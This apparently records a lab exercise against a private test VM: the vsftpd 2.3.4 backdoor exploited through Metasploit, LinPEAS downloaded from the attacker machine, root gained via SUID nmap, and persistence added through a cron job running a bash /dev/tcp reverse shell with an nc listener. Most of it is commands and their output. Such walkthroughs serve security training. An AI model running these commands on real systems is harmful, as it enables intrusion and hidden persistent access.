



1) Privilege Escalation using LinPEAS (SUID Exploit)

Step 1: Gain Initial Shell

msfconsole

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOSTS 192.168.159.131

run

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  Name      Current Setting  Required  Description
  --      -
  CHOST      192.168.159.128 no         The local client address
  CPORT      4444             no         The local client port
  Proxies    []               no         A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.159.131 yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit
  RPORT      21               yes        The target port (TCP)

Exploit target:
  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.159.131
rhosts => 192.168.159.131
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.159.131:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.159.131:21 - USER: 331 Please specify the password.
[*] 192.168.159.131:21 - Backdoor service has been spawned, handling...
[*] 192.168.159.131:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
id
[*] Command shell session 1 opened (192.168.159.128:45913 -> 192.168.159.131:6200) at 2026-01-14 09:10:19 -0500

uid=0(root) gid=0(root)
```

Step 2: Transfer LinPEAS to Target

On Kali:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

python3 -m http.server 8000



On Target:

chmod +x linpeas.sh

```
wget http://192.168.159.128:8000/linpeas.sh
--09:14:06-- http://192.168.159.128:8000/linpeas.sh
           => 'linpeas.sh'
Connecting to 192.168.159.128:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 975,444 (953K) [text/x-sh]

  0K ..... 5% 98.84 MB/s
 50K ..... 10% 54.25 MB/s
100K ..... 15% 48.49 MB/s
150K ..... 20% 10.19 MB/s
200K ..... 26% 163.83 MB/s
250K ..... 31% 114.33 MB/s
300K ..... 36% 900.92 MB/s
350K ..... 41% 86.84 MB/s
400K ..... 47% 253.03 MB/s
450K ..... 52% 13.98 MB/s
500K ..... 57% 252.06 MB/s
550K ..... 62% 8.78 MB/s
600K ..... 68% 60.31 MB/s
650K ..... 73% 177.67 MB/s
700K ..... 78% 244.27 MB/s
750K ..... 83% 191.91 MB/s
800K ..... 89% 263.47 MB/s
850K ..... 94% 156.99 MB/s
900K ..... 99% 60.43 MB/s
950K ..... 100% 4924.83 GB/s

09:14:06 (44.69 MB/s) - 'linpeas.sh' saved [975444/975444]
```



Step 3: Run LinPEAS and found SUID list

`./ linpeas.sh`

```
Files with Interesting Permissions

SUID - Check easy privesc, exploits and write perms
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
-rwsr-xr-x 1 root root 63K Apr 14 2008 /bin/umount -> BSD/Linux(08-1996)
-rwsr-xr-x 1 root fuse 20K Feb 26 2008 /bin/fusermount
-rwsr-xr-x 1 root root 25K Apr 2 2008 /bin/su
-rwsr-xr-x 1 root root 80K Apr 14 2008 /bin/mount -> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 31K Dec 10 2007 /bin/ping
-rwsr-xr-x 1 root root 27K Dec 10 2007 /bin/ping6
-rwsr-xr-x 1 root root 64K Dec 2 2008 /sbin/mount.nfs
-rwsr-xr-x 1 root dhcp 2.9K Apr 2 2008 /lib/dhcp3-client/call-dhclient-script (Unknown SUID binary!)
-rwsr-xr-x 2 root root 106K Feb 25 2008 /usr/bin/sudo -> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 7.3K Jun 25 2008 /usr/bin/X
-rwsr-xr-x 1 root root 8.4K Nov 22 2007 /usr/bin/netkit-rsh
-rwsr-xr-x 1 root root 37K Apr 2 2008 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 13K Dec 10 2007 /usr/bin/traceroute6.iputils
-rwsr-xr-x 2 root root 106K Feb 25 2008 /usr/bin/sudo -> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 12K Nov 22 2007 /usr/bin/netkit-rlogin
-rwsr-xr-x 1 root root 11K Dec 10 2007 /usr/bin/arping
-rwsr-xr-x 1 daemon daemon 38K Feb 20 2007 /usr/bin/at -> RTTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 19K Apr 2 2008 /usr/bin/newgrp -> HP-UX_10.20
-rwsr-xr-x 1 root root 28K Apr 2 2008 /usr/bin/chfn -> SuSE_9.3/10
-rwsr-xr-x 1 root root 763K Apr 8 2008 /usr/bin/nmap
-rwsr-xr-x 1 root root 24K Apr 2 2008 /usr/bin/chsh
-rwsr-xr-x 1 root root 16K Nov 22 2007 /usr/bin/netkit-rcp
-rwsr-xr-x 1 root root 29K Apr 2 2008 /usr/bin/passwd -> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 46K Mar 30 2008 /usr/bin/mtr
-rwsr-xr-x 1 libuuid libuuid 13K Mar 27 2008 /usr/sbin/uuid
-rwsr-xr-x 1 root dip 263K Oct 4 2007 /usr/sbin/pppd -> Apple_Mac_OSX_10.4.8(05-2007)
-rwsr-xr-x 1 root telnetd 5.9K Dec 17 2006 /usr/lib/telnetlogin
-rwsr-xr-x 1 root www-data 11K Mar 9 2010 /usr/lib/apache2/suexec
-rwsr-xr-x 1 root root 4.5K Nov 5 2007 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 162K Apr 6 2008 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 9.4K Aug 17 2009 /usr/lib/pt_chown -> GNU_glibc_2.1/2.1.1_-6(08-1999)
```

Step 4: Exploit SUID Binary (GTFEBins)

`/usr/bin/nmap`

`./ nmap`

☆ Star 12,502

Shell Non-interactive reverse shell Non-interactive bind shell File upload File download File write File read SUID Sudo Limited SUID

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

(a) Input echo is disabled.

```
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF
```

(b) The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.

```
nmap --interactive
nmap> !sh
```

```
nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
id
uid=0(root) gid=0(root)
```



2) Persistence via Cron Job

Step 1: Create Backdoor Script

```
echo '#!/bin/bash' > /tmp/persist.sh
```

```
echo 'bash -i >& /dev/tcp/192.168.159.128/4444 0>&1' >> /tmp/persist.sh
```

```
chmod +x /tmp/persist.sh
```

Step 6: Add Cron Job (as root)

```
crontab -e
```

```
*/5 * * * * /tmp/persist.sh
```

Step 7: Start Listener on Attacker

```
nc -lvnp 4444
```

Wait 5 minutes or restart cron:

```
service cron restart
```